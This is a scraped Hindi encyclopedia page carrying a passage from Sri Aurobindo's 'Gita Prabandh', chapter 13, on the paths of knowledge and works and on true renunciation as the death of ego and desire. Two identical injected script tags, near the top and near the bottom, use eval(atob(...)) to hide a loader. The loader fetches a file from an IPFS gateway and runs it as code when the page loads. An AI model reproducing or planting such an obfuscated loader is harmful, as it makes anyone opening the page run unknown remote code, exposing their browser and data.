गीता प्रबंध -अरविन्द पृ. 124

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता-प्रबंध
13.यज्ञ के अधीश्वर

यदि इस बात को हम समझ लें तो यह भी समझ लेगें अपनी चेतना और आत्मस्थिति को सीमाबद्ध व्यष्टिगत भाव से निकालकर इस अनंत नैवर्यक्तिक ब्रह्म में ऊपर ले जाना सबसे पहली आध्यामिक आवश्यकता है। इस एक आत्मा के अंदर सब सत्ताओं को अनुभव करना ही वह ज्ञान है जो जीव को अहंभावजनित अज्ञान और उसके कर्मो तथा कर्मफलों से ऊपर उठा देता है; इस ज्ञान में रहना ही शांति लाभ करना और दृढ़ आध्यात्मिक नींव की प्रतिष्ठा करना है। इस महान् रूपान्तर का मार्ग द्विविध है; एक है ज्ञानमार्ग और दूसरा कर्म - मार्ग । गीता इन दोनों का सुदृढ़ समन्वय करती है। ज्ञानमार्ग है बुद्धि को मन और इन्द्रियों के व्यापार में रत होने वाली निम्न वृत्ति से फेरना और उसे एक आत्मा , पुरूष या ब्रह्म की ओर ऊध्र्वमुखी कर देना, उसे सदा एक पुरूष की एक ही भावना में रखना और मन की अनेक शाखा - प्रशाखाओं वाली धारणाओं और कामनाओं के नानाविध प्रवाहों से बाहर निकालना । यदि इनता ही लिया जाये तो ऐसा लगेगा कि यह पूर्ण कर्मसंन्यास , निश्चल निश्चेष्टता और प्रकृति - पुरूष के विच्छेद का मार्ग है। परंतु यथार्थ में इस प्रकार का निरपेक्ष कर्मसंन्यास , निश्चेष्टता और प्रकृति – पुरूष -विच्छेद संभव नहीं है।
पुरूष और प्रकृति सत्ता के युगल तत्व हैं जो एक -दूसरे से अलग नही किये जो सकते , और जब तक हम प्रकृति में निवास करते हैं तब तक प्रकृति में हमारा कर्म भी होता ही रहेगा, चाहे आज्ञानी जिस प्रकार कर्म करता है उससे ज्ञानी का कर्म अपने प्रकार और अर्थ में भिन्न ही क्यों न हो। संन्यास तो करना ही होगा, पर वास्वविक संन्यास कर्म से भागना नहीं , बल्कि अहंकार और कामना का वध करना है और इसका मार्ग कर्म करते हुए भी कर्मफल की आसक्ति का त्याग और प्रकृति को कर्म की कन्नीं जानकर उसे अपने कर्म करने देना तथा साक्षी और भर्तारूप से पुरूष के अंदर वास करकर प्रकृति के कर्मो को देखना और संभालना पर उन कर्मो का उनके फलों से आसक्त न होना, इससे अहंकार अर्थात् सीमाबद्ध विक्षुब्द व्यष्टिभाव शांत होता और एक नैव्र्यक्तिक आत्मा के चैतन्य में निमज्जित हो जाता है। हमारी दृष्टि के आगे प्रकृति के कर्म जीते - जागते, चलते - फिरते और कर्मरत दिखायी देने वाले इन सब भूत प्राणियों के द्वारा सर्वथा प्रकृति की ही प्रेरणा से उस एक अनंत आत्मसत्ता में होते रहते हैं; हमारा अपना सांत जीवन भी इन्ही भूतसत्ताओं मे से एक है, ऐसा दीख पड़ता और अनुभव होता है। इसके द्वारा होने वाले कर्म उस सदात्मा के कर्म नहीं लगते जो सदा निश्चल - नीरव नैवर्यक्त्कि एकत्व है, बल्कि ऐसे दिखायी देते और अनुभूत होते हैं कि वे प्रकृति के ही हैं। पहले अहंकार यह दावा करता था कि ये उसके कर्म हैं और इसलिये इन कर्मो को हम अपने कर्म समझते थे; पर अब अहंकार तो मर गया इसलिये कर्म भी हमारे नही रहे बल्कि प्रकृति के हो गये ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गीता प्रबंध